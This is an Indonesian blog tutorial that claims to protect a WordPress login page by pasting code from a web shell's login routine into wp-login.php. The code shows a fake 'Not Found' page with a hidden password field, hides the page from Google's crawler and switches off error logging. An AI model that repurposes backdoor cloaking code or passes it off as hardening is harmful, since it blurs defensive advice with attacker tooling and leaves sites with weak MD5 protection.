Selasa, 04 Juni 2013

Melindungi Halaman Login Wordpress dengan Tampilan Error 404 Not Found

Posted by Erza Jullian 15.18, under | No comments

Beberapa waktu yang lalu saya pernah share cara menyembunyikan halaman login pada wordpress dengan cara mengganti alamat default loginnya yaitu /wp-login.php . Namun mungkin cara itu tergolong ribet karena kode yang harus diganti jumlahnya lebih dari sepuluh. Ada cara yang lebih praktis. Yaitu menutup halaman login WP dengan Halaman Error 404 Not Found.

Jadi saat  site/wp-login.php diakses maka tampilan awalnya adalah Error 404 Not Found. Bagi yang sering memakai backdoor shell macam 1n73ction atau blackshadow pasti tau yang saya maksud. Ya, halaman 404 Not Found tersebut sebenarnya dilindungi password bertipe md5.

Oke, daripada bingung langsung saja kita praktekkan. :)



Pertama, masuk akun cpanel sobat.

Kedua, masuk menu file manager.

Masuk direktori Wordpress sobat.

Cari file wp-login.php . Buka file tersebut.

Hapus kode <?php di paling atas dan ganti dengan script dibawah ini.

ini scriptnya :




<?php

error_reporting(E_ALL^(E_NOTICE|E_WARNING));

//authentication

$auth_pass = "102a6ed6587b5b8cb4ebbe972864690b"; //password ente dlm bentuk md5

$color = "#00ff00";

$default_action = 'FilesMan';

@define('SELF_PATH', __FILE__);

if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {

    header('HTTP/1.0 404 Not Found');

    exit;

}

@session_start();

@error_reporting(0);

@ini_set('error_log',NULL);

@ini_set('log_errors',0);

@ini_set('max_execution_time',0);

@set_time_limit(0);

@set_magic_quotes_runtime(0);

@define('VERSION', '2.1');

if( get_magic_quotes_gpc() ) {

    function stripslashes_array($array) {

        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);

    }

    $_POST = stripslashes_array($_POST);

}

function printLogin() {

    ?>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>

    <style>

        input { margin:0;background-color:#fff;border:1px solid #fff; }

    </style>

    <form method=post>

    <input type=password name=pass>

    </form>

    <?php

    exit;

}

if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))

    if( empty( $auth_pass ) ||

        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )

        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

    else

        printLogin();



if( strtolower( substr(PHP_OS,0,3) ) == "win" )

    $os = 'win';

else

    $os = 'nix';

$safe_mode = @ini_get('safe_mode');

$disable_functions = @ini_get('disable_functions');

$home_cwd = @getcwd();

if( isset( $_POST['c'] ) )

    @chdir($_POST['c']);

$cwd = @getcwd();

if( $os == 'win') {

    $home_cwd = str_replace("\\", "/", $home_cwd);

    $cwd = str_replace("\\", "/", $cwd);

}

if( $cwd[strlen($cwd)-1] != '/' )

    $cwd .= '/';

    

if($os == 'win')

    $aliases = array(



    );

else

    $aliases = array(



    );


Sehingga nanti menjadi :




<?php

error_reporting(E_ALL^(E_NOTICE|E_WARNING));

//authentication

$auth_pass = "102a6ed6587b5b8cb4ebbe972864690b"; //password ente dlm bentuk md5

$color = "#00ff00";

$default_action = 'FilesMan';

@define('SELF_PATH', __FILE__);

if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {

    header('HTTP/1.0 404 Not Found');

    exit;

}

@session_start();

@error_reporting(0);

@ini_set('error_log',NULL);

@ini_set('log_errors',0);

@ini_set('max_execution_time',0);

@set_time_limit(0);

@set_magic_quotes_runtime(0);

@define('VERSION', '2.1');

if( get_magic_quotes_gpc() ) {

    function stripslashes_array($array) {

        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);

    }

    $_POST = stripslashes_array($_POST);

}

function printLogin() {

    ?>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>

    <style>

        input { margin:0;background-color:#fff;border:1px solid #fff; }

    </style>

    <form method=post>

    <input type=password name=pass>

    </form>

    <?php

    exit;

}

if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))

    if( empty( $auth_pass ) ||

        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )

        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;

    else

        printLogin();



if( strtolower( substr(PHP_OS,0,3) ) == "win" )

    $os = 'win';

else

    $os = 'nix';

$safe_mode = @ini_get('safe_mode');

$disable_functions = @ini_get('disable_functions');

$home_cwd = @getcwd();

if( isset( $_POST['c'] ) )

    @chdir($_POST['c']);

$cwd = @getcwd();

if( $os == 'win') {

    $home_cwd = str_replace("\\", "/", $home_cwd);

    $cwd = str_replace("\\", "/", $cwd);

}

if( $cwd[strlen($cwd)-1] != '/' )

    $cwd .= '/';

  

if($os == 'win')

    $aliases = array(



    );

else

    $aliases = array(



    );





/**

 * WordPress User Page

 *

 * Handles authentication, registering, resetting passwords, forgot password,

 * and other user handling.

 *

 * @package WordPress

 */



/** Make sure that the WordPress bootstrap has run before continuing. */

require( dirname(__FILE__) . '/wp-load.php' );



// Redirect to https login if forced to use SSL

if ( force_ssl_admin() && !is_ssl() ) {

if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {

wp_redirect(preg_replace('|^http://|', 'https://', $_SERVER['REQUEST_URI']));

exit();

} else {

wp_redirect('https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);

exit();

}

  --------- ---- dan seterusnya -----------------------



<?php

login_footer();

break;

} // end action switch

?>





Kode yang saya beri warna merah itu adalah password bertipe md5.

Anda bisa menggantinya di situs-situs untuk convert password menjadi md5 atau bisa menggunakan tools saya. :v

Klik Disini. - Tools Hash Password

Masukkan kata yang ingin di encode. Jika sudah, pilih yang MD5





Contoh password md5 :

nabilah : 6138f95a7e66e7373c8d770ad348d13c

achan : 39a54ee9b50e3484df126d83277593dc

jeje : 21dbd9ee5a8e54ec3157e76b32ce450c



dll.

Intinya, password harus bertipe md5. Setelah itu, klik save. Done. Coba cek page login wordpress sobat. Pasti yang muncul adalah halaman 404 Not Found. Lalu klik tombol TAB di keyboard sebanyak 2x, maka akan ada form password.





Masukkan password yang sudah sobat convert menjadi md5 pada tutorial di atas. Maka halaman login akan terbuka. :)





Untuk live demo silahkan lihat disini :

Live Demo

Sekian tutorial kali ini. Semoga bisa mempersulit lamer yang ingin membobol WP sobat. :v

Jika ada yang kurang jelas, silahkan beri komentar. :)

Created by Nabilaholic - Madura Cyber



Source : Thread nya bang e1nzte1n di www.hacker-newbie.org

0 komentar:

Posting Komentar

Blog Archive

Blog Archive